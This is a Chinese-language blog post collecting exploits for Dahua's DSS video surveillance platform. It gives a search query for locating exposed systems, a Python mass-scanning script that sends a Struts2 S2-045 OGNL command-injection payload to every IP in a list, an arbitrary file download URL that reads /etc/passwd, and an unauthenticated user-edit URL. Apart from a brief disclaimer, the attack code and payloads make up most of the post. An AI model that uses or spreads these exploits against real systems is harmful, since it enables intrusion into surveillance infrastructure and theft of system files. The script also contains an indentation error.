大华DDS视频监控系统漏洞汇总

相关企业已修复漏洞,文章仅做经验分享用途,切勿当真,未授权的攻击属于非法行为
通过本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任,一旦造成后果请自行负责!

系统介绍

DSS是大华的监控管理应用平台,支持几乎所有涉及监控等方面的操作,支持多级跨平台联网等操作。

搜索语法

body="/portal/include/script/dahuaDefined/headCommon.js?type=index"&&title="DSS"

漏洞整理

S2-045

话不多说,直接上脚本(本来想拿来主义,奈何诸葛大佬用的pocsuite框架,直接自己改了一下)
代码较烂,各位大佬多担待

# -*- coding: utf-8 -*-
# @Author  : SuanLeBa
# @File    : DaHua_DDS_S2045.py
                        
import requests
import warnings
from urllib3.exceptions import InsecureRequestWarning
warnings.filterwarnings("ignore", category=InsecureRequestWarning)


def exp_test(ip):

    result = {}
    path = "/admin/login_login.action"
    headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0',
    'Content-Type': "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}",
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip, deflate',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2'
    }
    url = 'http://'+str(ip) + path
    try:
        response = requests.get(url, headers=headers,verify=False)
    # print(response.text)
        if response.status_code == 200 and 'bin' in response.text:
        print ('okkkkkkkkkkkkkkkk '+url)
    except Exception as e:
        pass
    # import traceback
    # traceback.print_exc()

if __name__ == '__main__':
    with open('dds.list', "r", encoding='UTF-8') as f:
        line = [i for i in f.readlines()]
        for i in line:
            ip=i.strip('\n')
            exp_test(ip)

任意文件下载

利用地址

http://xxx.xxx.xxx.xxx/portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd

未授权访问

利用地址

http://xxx.xxx.xxx.xxx/admin/cascade_/user_edit.action?id=1

参考链接

https://blog.csdn.net/jjjj1029056414/article/details/134899127
https://blog.csdn.net/CommputerMac/article/details/133623505
posted @ 2024-02-01 17:29  icssec  阅读(145)  评论(0)    收藏  举报